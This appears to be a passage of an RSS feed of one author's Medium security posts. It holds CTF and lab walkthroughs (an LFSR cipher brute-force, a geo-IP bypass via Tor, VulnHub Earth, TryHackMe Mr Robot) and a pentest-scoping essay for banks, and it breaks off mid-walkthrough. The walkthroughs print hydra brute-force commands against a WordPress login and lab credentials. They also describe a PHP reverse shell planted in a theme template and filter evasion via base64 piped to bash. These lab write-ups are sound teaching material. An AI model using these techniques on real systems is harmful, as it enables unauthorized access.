7 is then refilled by the new feedback bit calculated in the first step.</p><h3>Vulnerability Analysis</h3><p>This vulnerability is called <em>state Space Reduction via Faulty Bit Masking (CWE-326: Inadequate Encryption Strength)</em></p><p>The issue in the Flaw in chall.py</p><p>The developer generated a secure, completely random 126-byte key using cryptographically secure methods</p><pre>key = bytes_to_long(get_random_bytes(126))</pre><p>However, right inside the encryption execution loop, they neutralized all of that security by passing the key through a bitwise AND mask filter</p><pre>lfsr = key &amp; 0xFF</pre><p>The bitwise operation &amp; 0xFF slices away 125 bytes of the random key, keeping only the last 8 bits.</p><p>Because an 8-bit space can only hold binary values from 00000001 (1) to 11111111 (255), the entire universe of possible starting layouts for this cipher is reduced to just 255 possible states (a seed of all zeros is impossible because the XOR logic would lock up instantly).</p><p>Instead of dealing with an unbreakable key space, i only have to test 255 choices before finding the correct one.</p><h3>Exploitation</h3><p>Because 255 combinations can be calculated by a computer in milliseconds, i crafted a small Python brute-force script. It mimics the original steplfsr logic step-by-step, tests every possible starting number, handles the reverse XOR decryption step and prints clean ASCII strings</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*RRDMCHD8oVFO5os4UG_0SA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*IYy5NBqz7LAAxq6-IGjr2w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*DNTUsX_G531EblOap-FnKQ.png" /></figure><p>At Seed 162, my simulated register configuration aligned with the original starting layout perfectly. This completely reversed the XOR cipher and revealed the readable flag.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc08e0e9199d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyLab Security Academy 2026 : Walkthrough North-South]]></title>
            <link>https://medium.com/@khalid_abdullahi/north-south-95d02bf451cc?source=rss-90a95fd5eaad------2</link>
            <guid isPermaLink="false">https://medium.com/p/95d02bf451cc</guid>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[medium]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[cylab-security-academy]]></category>
            <dc:creator><![CDATA[Khalid Abdullahi]]></dc:creator>
            <pubDate>Thu, 15 Oct 2026 17:28:16 GMT</pubDate>
            <atom:updated>2026-10-15T17:31:41.593Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*M6-u8Uozg2sGbhBpPqHRhg.png" /></figure><p>Looking at the Nginx Config</p><p>In this challenge i was given a copy of the target’s nginx.conf file, and looking inside, the routing logic was pretty obvious:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*ogvDp8qzJvlUUrpIMrRS6Q.png" /></figure><p>The server uses a GeoIP database to check where you are connecting from. If your country code is IS (Iceland), it sends you to http://south (where the flag is). If you are anywhere else, you get sent to http://north which just displays a webpage saying &quot;No flag in this region!&quot;.</p><p>The vulnerability here is <strong>Broken Access Control (IP/Geographic Spoofing)</strong>. The developer is relying entirely on a user’s location for security, assuming that someone can’t just fake being in Iceland.</p><h4>Try 1: Spoofing HTTP Headers (Failed)</h4><p>At first, I tried to trick Nginx by injecting a bunch of proxy headers with an Icelandic IP (46.22.100.1) using a massive curl command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*efOMVZQ8Ft9USIwsszVKiQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*WQj6WiQk5jUzGclp-P5vww.png" /></figure><p>I still got the Welcome!! No flag in this region! page. It failed because Nginx wasn&#39;t configured to read these headers, it just looked at my real public IP and blocked me anyway.</p><h4>Try 2: Checking Server Headers</h4><p>i ran a quick curl check to see what web server was actually running and if there was a load balancer in the way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*gDEnjz-b7e5QPrESFNir8w.png" /></figure><p>The server returned Server: nginx/1.24.0 (Ubuntu). This confirmed I was hitting Nginx directly, meaning headers were 100% useless and I had to find a way to get a real Icelandic IP connection.</p><h3>The Solution (Using Tor)</h3><p>Since Nginx checks the actual IP making the connection, I decided to use Tor to route my Kali Linux network traffic through an exit node physically located in Iceland.</p><p>Installed Tor on Kali:</p><blockquote>sudo apt update &amp;&amp; sudo apt install tor -y</blockquote><p>Opened the Tor config file (/etc/tor/torrc) using nano and added two lines at the bottom to force Tor to use an Icelandic exit node (is is the ISO country code for Iceland)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*lGGVZAgbzkx7CI8AZrWxQw.png" /></figure><p>Restarted the Tor service to apply the new configuration</p><blockquote>sudo systemctl restart tor</blockquote><p>Finally, I sent the curl request again, but this time I routed it through Tor&#39;s local SOCKS5 proxy port (9050)</p><blockquote>curl — socks5-hostname 127.0.0.1:9050 <a href="http://cylabacademy.net/">http://cylabacademy.net</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*pW3ePjWg4hDVtIRNgLlAOw.png" /></figure><p>it worked because the request came from a real Tor server in Iceland, Nginx read the Icelandic IP, matched it to IS in its database, triggered the if statement, and finally dropped the academy{...} flag in the terminal.</p><h3>Vulnerability Identification</h3><p>This infrastructure suffers from a architectural vulnerability known as <strong>Bypass of IP-Based Access Control</strong> (categorized broadly under <strong>OWASP A01:2021-Broken Access Control</strong> and <strong>CWE-290: Authentication Bypass by Spoofing</strong>).</p><p>The developer made a fundamental security error by <strong>using network routing metadata for authorization</strong>. They trusted that geographic boundaries would protect the sensitive backend application (http://south), assuming users could not easily falsify their physical origin.</p><p>Furthermore, looking at the geoip2 block, Nginx did not define an alternative header source (such as source=$http_x_forwarded_for). This meant Nginx evaluated location strictly using the <strong>Layer 4 network socket IP (</strong><strong>$remote_addr)</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=95d02bf451cc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Penetration Test Scoping 101: What to Test (and What Never to Touch) in a medium-sized financial…]]></title>
            <link>https://medium.com/@khalid_abdullahi/penetration-test-scoping-101-what-to-test-and-what-never-to-touch-in-a-medium-sized-financial-74970545b6f0?source=rss-90a95fd5eaad------2</link>
            <guid isPermaLink="false">https://medium.com/p/74970545b6f0</guid>
            <category><![CDATA[financial-institutions]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[pentesting-scope]]></category>
            <dc:creator><![CDATA[Khalid Abdullahi]]></dc:creator>
            <pubDate>Sat, 12 Sep 2026 18:08:46 GMT</pubDate>
            <atom:updated>2026-09-12T18:08:46.963Z</atom:updated>
            <content:encoded><![CDATA[<h3>Penetration Test Scoping 101: What to Test (and What Never to Touch) in <strong>a medium-sized financial institution</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kJU8wrfGG5tvKtHh9-yPEw.png" /></figure><p>A penetration test is only as useful as the scope that defines it and scope determines which systems will be attacked, which methods the testers may use and critically for a medium-sized financial institution, what and which systems must never be touched because the cost of an unintended outage or data corruption exceeds the value of the finding. For a medium-sized bank, defining scope is not a formality, it is the single control that separates a legitimate security assessment from an incident. This paper defines a practical scope for such an engagement, explains which systems should be included and excluded and why and outlines the testing approach, rules of engagement and legal considerations that make the scope enforceable.</p><p>Financial institutions occupy a uniquely high-risk position in the threat landscape. A poorly scoped penetration test in this environment risks the very harm it is meant to prevent, meaning a test that touches production transaction systems without safeguards could freeze customer accounts, corrupt ledger entries or even trigger a regulatory reporting obligation as though a real breach had occurred. Scope, therefore, has to be treated as a risk-management document, not just a testing checklist.</p><h3>Systems to Include and Why</h3><h3>i. External-Facing Infrastructure</h3><p>The institution’s internet-facing assets form its actual attack surface and should be the anchor of any test. This includes the public online banking portal, the mobile banking application’s backend endpoints, VPN gateways used by staff or partners, mail servers and any public IP ranges the institution has registered. These are the systems a real external attacker would encounter first, and they are also the systems most likely to be probed continuously by automated scanning tools worldwide. Testing them validates whether perimeter controls like firewalls, web application firewalls, rate limiting and patch management, are functioning as intended.</p><h3>ii. Internal Network Segments</h3><p>A test limited to the perimeter only answers half the question a financial institution like a bank actually needs answered:</p><p>what happens once an attacker, or a malicious insider, is already inside?</p><p>Internal scope should cover the corporate LAN, Active Directory and domain controllers, internal server VLANs hosting non-core applications and wireless networks both corporate and guest SSIDs. Because employees at financial institutions have access to sensitive customer and transaction data, an internal test simulating a compromised workstation or a rogue insider is directly relevant to the institution’s actual threat model, most major financial breaches involve lateral movement from an initially low-value foothold to a high-value target not a direct external compromise of the crown-jewel system.</p><h3>iii. The Application Layer Around the Core Banking System</h3><p>The core banking system aka CBS itself, platforms such as Temenos T24, Finacle or iMAL sits at the center of the institution’s operations, but it should be approached indirectly rather than attacked head-on in production.</p><p>What should be in scope?</p><p>The following should be in scope;</p><p>- application and API layer that surrounds the CBS</p><p>- the interfaces through which the online banking portal, mobile app,</p><p>- internal staff tools communicate with the ledger.</p><p>These are spots where common and dangerous vulnerability classes actually surface such as broken authentication, IDOR allowing one customer to view another’s account data, injection flaws and improperly validated API calls that could allow a transaction to be manipulated in transit.</p><p>Testing this layer captures the realistic risk to the CBS without touching the ledger itself.</p><h3>Personnel and Social Engineering</h3><p>Humans are consistently one of the most exploited entry points into financial institutions, because a single set of stolen credentials can bypass a great deal of technical control.</p><p>A scoped social engineering component</p><p>- phishing simulations</p><p>- optionally vishing</p><p>These tests whether staff recognize and report suspicious contact and whether the institution’s detection and response process actually catches a compromised account before damage occurs. This component should be scoped narrowly and agreed with Human Resource (HR) and senior management in advance, since it involves testing real employees rather than systems.</p><h3>Systems to Exclude and Why</h3><h3>I. The Live Core Banking Production Database</h3><p>The production CBS database should never be tested directly. Exploitation techniques such as SQL injection testing or authentication bypass attempts carry a real risk of corrupting live transaction records, locking customer accounts or even triggering fraud-detection systems that halt legitimate payments. Where the CBS must be assessed, this should occur against a cloned staging environment that mirrors production configuration without holding live customer data or being connected to real settlement rails.</p><h3>II. SWIFT and Live Payment Gateways</h3><p>Payment messaging systems such as SWIFT and any live connections to national payment switches or card networks are typically governed by strict third-party agreements and regulatory oversight that the institution alone cannot authorize testing against. Unauthorized testing here risks disrupting real interbank settlement and could constitute a breach of the institution’s own contractual obligations to the payment network operator, independent of any technical harm caused.</p><h3>III. Third-Party and Vendor-Owned Infrastructure</h3><p>Cloud services, outsourced data centers and vendor-hosted systems the institution does not directly own or even control should be excluded unless the vendor has separately authorized testing in writing.</p><p>Testing infrastructure without the owner’s consent is not a scoping choice but a legal one, most cloud providers and SaaS vendors have their own penetration testing policies and violating them can result in account suspension or even legal liability regardless of the institution’s own intentions.</p><h3>IV. Denial-of-Service Testing</h3><p>Volumetric or resource-exhaustion attacks should be excluded from the default scope. For a financial institution, even a brief service disruption to online or mobile banking has direct financial and reputational consequences and may trigger regulatory incident-reporting requirements. If availability testing is genuinely required, it should be scoped as a separate, tightly controlled engagement with an agreed maintenance window and an explicit stop condition.</p><h3>V. ATM Networks</h3><p>ATMs combine embedded operating systems, physical security controls and specialized payment protocols like cash dispenser control boards, EMV processing, that differ substantially from standard IT infrastructure. Testing them requires specialized hardware expertise and physical access considerations that fall outside a standard network/ application penetration test and is typically commissioned as its own dedicated engagement.</p><h3>Testing Approach</h3><p>grey-box methodology is the most appropriate default for this engagement. In a grey-box test, the institution provides testers with partial information in advance for example,</p><p>- IP address ranges</p><p>- network diagrams</p><p>- a general description of the application architecture {without providing full source code or credentials as in a white-box test, and without leaving testers to perform the entire reconnaissance process from zero as in a black-box test.}</p><p>This balances two competing needs, financial institutions operate on a fixed testing budget and timeline, so grey-box testing avoids wasting billable hours on reconnaissance the institution could simply provide at the same time, testers must still independently discover exploitable vulnerabilities, which keeps the test realistic against the kind of semi-informed attacker a bank is actually likely to face a former employee or a compromised partner account or even an attacker who has already conducted their own reconnaissance.</p><h3>Rules of Engagement and Legal Considerations</h3><p>A scope is only enforceable if it is backed by clear rules of engagement and proper legal authorization. At minimum, the engagement should specify:</p><p>• A signed authorization letter, commonly called a get-out-of-jail-free letter, explicitly naming the systems, IP ranges, and testing window covered.</p><p>• A non-disclosure agreement covering any customer data or proprietary information testers may encounter during the assessment.</p><p>• An agreed testing window, typically outside peak transaction hours, to minimize the chance that testing traffic is mistaken for or interferes with real customer activity.</p><p>• A named point of contact and an emergency stop clause, allowing either party to immediately halt testing if an unexpected impact on production systems is detected.</p><p>• Compliance mapping to applicable standards, such as PCI-DSS if payment card data is in scope and any requirements set by the relevant national financial regulator or central bank.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74970545b6f0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Planets: Earth]]></title>
            <link>https://medium.com/@khalid_abdullahi/the-planets-earth-2842f18894e0?source=rss-90a95fd5eaad------2</link>
            <guid isPermaLink="false">https://medium.com/p/2842f18894e0</guid>
            <category><![CDATA[earth]]></category>
            <category><![CDATA[the-planet]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Khalid Abdullahi]]></dc:creator>
            <pubDate>Wed, 09 Sep 2026 20:03:47 GMT</pubDate>
            <atom:updated>2026-09-09T20:03:47.902Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*FjJNlu-sDDbbsrzc2SJABg.png" /></figure><p><em>Can you root this machine?</em></p><p>today i am solving playing The Planets: Earth machine from Vulnhub CTF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*47ghVagmJA0GjrGnhCK7hw.png" /></figure><h3>1. Host Discovery &amp; Reconnaissance</h3><p>So, i start with finding the ip of machine with this command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*eoSeXlmQUcQix6tpUpE_gg.png" /></figure><p>So, the ip of targeted machine is 192.168.226.152 and Now I have to run nmap on this machine to find the open ports</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*NeIbMAOX-JSi16le5QqKYA.png" /></figure><p>Open ports are as follows;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*ymr5lp1nRS08AYuyD9GuEw.png" /></figure><h3>2. Web Enumeration &amp; Virtual Host Discovery</h3><p>I got my result that these ports are open, let me open port 80 and 443 on browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*aUY0dYu22Xh7BFG85rIugg.png" /></figure><p>So next i have a thought to check robots.txt but nothing found as you can see below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Eg1gEMRgQgSc2ah29dwWjg.png" /></figure><p>i run dirb tool to find hidden directories and folders on website’s ip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*KStlcBR7i6fSt0lHbD4iXQ.png" /></figure><p>it gives nothing important, then again, I checked nmap results there I saw two dns names.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*kzCCgAMlX3Qv-CPzXilQmQ.png" /></figure><p>i add these dns names in my /etc/hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*ekWyzVO4NkJPeD7A60is8Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*6BZgvFeXNmafATZKLBd9XQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*dgoR4oUw7XZSpGqaSOPnAQ.png" /></figure><p>I got two sites with same content with on different ports i.e 80,443. So, I again ran dirb tool on these sites.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*XZHwbbEzdnZZ653t-qmpAg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*KatlU1ZFyZdso6PwsE9lGQ.png" /></figure><p>And got some working and non-working links</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*CUnR7soS_WxEwrFm-KAdFA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*YowRKbN8G8SNGJkkOoof5w.png" /></figure><p>Well, this time robots.txt is shown and /testingnotes.* looks different so I open that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*lxTX670P18axRR_9pfBC3w.png" /></figure><p>Three critical facts dropped here: the messaging app uses XOR “encryption”, a file called testdata.txt was used to test it, and the admin portal username is terra.</p><p>Grabbed the referenced test file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*aornUaNs-RZAZcp7k_Xk5Q.png" /></figure><p>Guess what? this is our encryption key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*8P4dxgv8d7VHzJZvjdSLlw.png" /></figure><h3>3. Breaking the XOR Encryption</h3><p>The earth.local messaging page stores a history of previously sent, XORencrypted messages (as hex). Because testdata.txt was encrypted through the exact same system with the exact same key, XOR-ing its known plaintext against its own ciphertext (and sliding it across the other stored ciphertexts) recovers fragments of the repeating key, a classic known-plaintext / cribdragging attack against reused-key XOR.</p><p>Used CyberChef (From Hex → XOR) to do this interactively:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*4KiXTQhGVUwY6P1Vx7fw2A.png" /></figure><p>The output repeats a readable fragment across multiple blocks ,the tell-tale sign of a correctly-aligned key in a reused-key XOR cipher. Extending and cleaning up that recovered key made it possible to decrypt the admin’s stored messages, which contained the actual admin portal password.</p><p>Logged into earth.local/admin as <strong>terra</strong> with the recovered credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*L2IUAp5ubjDSh7cYJVP_3A.png" /></figure><p>A direct reverse shell one-liner was blocked by an outbound filter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*oW0p95rS5w8EUNtttf8TXg.png" /></figure><p>Worked around the filter by base64-encoding the payload and decoding/executing it server-side with base64 -d | bash, which doesn’t match the blocked pattern:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*eV-pZkW3w4pSjh5kPjlWnQ.png" /></figure><p>Caught the callback on a listener:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*WqmYHsASkmnyvUX34v6pYQ.png" /></figure><p>Shell landed as <strong>apache</strong> on host <strong>earth</strong>. The Django project directory under /var/earth_web held the first flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*PO4f-ceG6bxzoKYvQVvL3w.png" /></figure><h3>5. Privilege Escalation</h3><p>Now I have escalate the privilege on this machine, before that I spawn the python shell for better and strong connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*yrlMM5tP0mBIhXoFg1ogFw.png" /></figure><p>All this just to upgrade my shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*eczJc96jxUd9mFQMKD6hQA.png" /></figure><p>Upgraded the dumb shell to a proper interactive TTY before doing anything further (needed for su and cleaner tooling):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*cKW3I7d_vcNadXZuzStugg.png" /></figure><p>As a ctf player the word reset root attracted me to much so i went ahead and opened it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*_kjDo2VVoMDGRth7TOpXqA.png" /></figure><p>it talks about reset triggers are not present, now i have see what are the triggers name. For that i import this file to my main machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*m9NvO2GpBmWf5blZQfK1Ww.png" /></figure><p>I set up a listener</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*o01ZN-6cJlmM2AJPsGGB5g.png" /></figure><p>After so many tries I successfully able to export this file in my main system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*CdymqmBYt4iOZZX03pRGUA.png" /></figure><p>Let’s check with ltrace tool because its a binary file and i cannot read with cat command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*s4VWFKjuMaFxSv6r7fdp8w.png" /></figure><p>So, this tells me to make some folders with these names, let me make these folders.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*NSInpL-m_0amTclAwitBzQ.png" /></figure><p>I got the root user password let’s try this and read root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*QZlmCUYtCHd1lyrqvFAekw.png" /></figure><p>I successfully complete this machine.</p><h3>i demonstrated</h3><ul><li>Host &amp; service discovery (arp-scan, nmap) and reading SSL certificate metadata for recon (SAN field leaking internal hostnames)</li><li>Virtual host enumeration &amp; brute-forcing content per-hostname instead of per-IP</li><li>Source-hunting via robots.txt and developer-note disclosure</li><li>Known-plaintext / crib-dragging attack against reused-key XOR encryption using CyberChef</li><li>Filter evasion via base64-encoded payload execution</li><li>Linux privilege escalation via SUID binary reverse engineering (ltrace) rather than guesswork</li><li>Cross-host file transfer techniques and troubleshooting when standard methods (e.g. /dev/tcp) aren’t available</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2842f18894e0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mr Robot CTF]]></title>
            <link>https://medium.com/@khalid_abdullahi/mr-robot-ctf-90467b3c8ab9?source=rss-90a95fd5eaad------2</link>
            <guid isPermaLink="false">https://medium.com/p/90467b3c8ab9</guid>
            <category><![CDATA[mr-robot]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[room]]></category>
            <dc:creator><![CDATA[Khalid Abdullahi]]></dc:creator>
            <pubDate>Wed, 09 Sep 2026 19:48:08 GMT</pubDate>
            <atom:updated>2026-09-09T19:48:08.948Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mr Robot</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*D-y0pTfc66EDyzyo5c-bHw.png" /></figure><p><strong><em>Can you root this Mr. Robot styled machine?</em></strong></p><h3>Task 1: Connect to our network</h3><p>To deploy the Mr. Robot virtual machine, you will first need to connect to our network. Go to your access page and download your configuration file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*AfjycSs9ps00JmlvKkRDoA.png" /></figure><p>Use an OpenVPN client to connect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*HSK4p9hM4Icfut6xsLcmrQ.png" /></figure><p>When you run this, you see lots of text, at the end it will say Initialization Sequence Completed</p><p>You can verify you are connected by looking on your access page. Refresh the page</p><h3>Task 2: Hack the machine</h3><p><strong>Description:</strong></p><p>Can you root this Mr. Robot styled machine? This is a virtual machine meant for beginners/intermediate users. There are 3 hidden keys located on the machine, can you find them?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*fllBqdHS4opNVhXPnin3Kw.png" /></figure><p>The goal of Mr. Robot’s room is to find 3 hidden keys.</p><p>Let’s crack on.</p><p>Let’s start by <strong>scanning for open ports with</strong> <strong>nmap</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*CxXCUmf7wYkef4-kM0HE1A.png" /></figure><p>Found out</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*4r2Ig64wPQppdtfopVUB3Q.png" /></figure><p>We can see from nmap’s output that there is a <strong>web server at port 80</strong>. Let’s open our browser and visit it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*jprg0mXeIv0VyA6MDJEV4A.png" /></figure><p>Typing the commands listed there does not provide any useful hints.</p><p>Let’s use <strong>Gobuster</strong> to brute-force enumerate files and directories</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*LDPJ8p-0w-paa6lEYWw00g.png" /></figure><p>• dir Telling gobuster to use directory mode.</p><p>• -u http:10.82.169.249 Passing the website we want to enumerate.</p><ul><li>-w &lt;wordlist-path&gt; Passing the wordlist we want to use.</li></ul><p>Gobuster’s output includes a lot of HTTP redirection codes</p><p>Visit: http:10.82.169.249\readme</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*AcZGqgQAQi9nGadT7MByNQ.png" /></figure><p>Visited <a href="http://10.82.169.249/robots">http://10.82.169.249/robots</a></p><p>/robots directory includes the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*LwrKKMaRz709TyNIijSc6A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*qq4sKNOz8zs9725Qzq6gsw.png" /></figure><p><strong><em>Q1: What is key 1?</em></strong></p><h3>Answer: 073403c8a58a1f80d943455fb30724b9</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*ZlbY_CEkMNH9yr-kDc6CsQ.png" /></figure><p>Use <strong>curl </strong>to download fsocity.dic it looks like as a wordlist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*XnItDpyqPrK3Z-T3C1LFlQ.png" /></figure><p>Visited <a href="http://10.82.169.249/license">http://10.82.169.249/license</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*ZdEPKqzARJTWN-WJxl_m4w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*9a_gyiA3PUBletYH5tmscQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*bEygHSn7U8rVT4WUy-3vug.png" /></figure><p>Inspected and got: ZWxsaW90OkVSMjgtMDY1Mgo=</p><p>Use Hash Identifier.</p><p>As you see it’s Base64 Encoded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*7Do-qlRl04hba--MKQ8UjA.png" /></figure><p>let’s decode Base64 using command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*YZW3ujwrPi2lXmEsG2bsxg.png" /></figure><p>64 using command:</p><p><strong>Credentials found:</strong> elliot:ER28–0652</p><p>Visited <a href="http://10.82.169.249/login">http://10.82.169.249/login</a> which redirects to<a href="http://10.82.169.249/wp-login.php"> http://10.82.169.249/wp-login.php</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*gmATulfSC-kSZt7-UiePlA.png" /></figure><p>Let’s assume we don’t have any Credentials; we’ll try to brute force it using <strong>hydra.</strong></p><p>First things first. Let’s try to login with random credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*3ctFPV4hT00dBoopmddN1w.png" /></figure><p>Let’s assume we don’t have any Credentials; we’ll try to brute force it using <strong>hydra.</strong></p><p>First things first. Let’s try to login with random credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*3ctFPV4hT00dBoopmddN1w.png" /></figure><p>When trying to login using random credentials , it comes back with ERROR: Invalid username. message. Note that down!</p><p>Next, let’s inspect the source code to get parameters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*54Gujsko75SU1172pMa2iQ.png" /></figure><p>You can see the two parameters, log and pwd.</p><p>The wordlist provided contains 858160 words and most of them are duplicates.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*jS3objgfCODiGJM3Cu85Fg.png" /></figure><p>Now, we are ready to pass the new wordlist on hydra and create the list with the valid usernames:</p><p>hydra -L wordlist -P wordlist 10.82.169.249 http-post-form “/wplogin.php:log=^USER^&amp;pwd=^PASS^&amp;wp-submit=Log+In:F=Invalid username.” -V -f</p><p>The results of the above command are shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*-7bZjXSI3N88MdWPLkTRYw.png" /></figure><p>We are almost done here! Now that we have a valid username, we can try to use it, log in and see what happens:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*lpKscXV_aw37jWzNKXaYVg.png" /></figure><p>We see that the <strong>error message has changed</strong>. We can now do the reverse to find out elliot’s password: use hydra with a valid static username (in our case elliot) and pass the wordlist (wordlist) as our password list.</p><p>hydra -l elliot -P fsociety.dic 10.82.169.249 http-post-form “/wplogin.php:log=^USER^&amp;pwd=^PASS^&amp;wp-submit=Log+In:F=The password you entered for the username elliot is incorrect.” -V -f</p><p>The output of the above command is shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*EAwkvq6CxvL2RZ1d33GpTw.png" /></figure><p>We can now used the obtained credentials to login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*vIU892sNOYgC7gMO5KUbvA.png" /></figure><p>User elliot seems to be an administrator account. This means that it has access to the <strong>Editor’s tab (allowed to edit files).</strong></p><p>On the right-hand side, there is a list of templates containing <strong>PHP scripts</strong>. Since we have an admin account, we can simply replace one of the template’s codes, e.g. 404.php, with PHP code that will launch a reverse shell for us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*mmAoCcbgIwqfwEP3Qj-3Fw.png" /></figure><p>Then don’t forget to change the <strong>IP </strong>to your<strong> machine IP .</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*ExDr7lrmRAuidxFCPZLEjA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*CgL-wv95fBnqZMXaskBjow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*zqO9mdR40FxvL_eopbIoDg.png" /></figure><p>Now all we have to do is to <strong>start a listener</strong> on our machine and visit the template’s page to execute the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*pFB9Wo4P7iBXb3-GF0TBDg.png" /></figure><p>Visited <a href="http://10.82.151.52/wp-includes/themes/TwentyFifteen/404.php.">http://10.82.151.52/wp-includes/themes/TwentyFifteen/404.php.</a> Got the shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*X4WRddgMhIALR1CMu39Yug.png" /></figure><p>After a bit of searching, we can find two interesting files: the 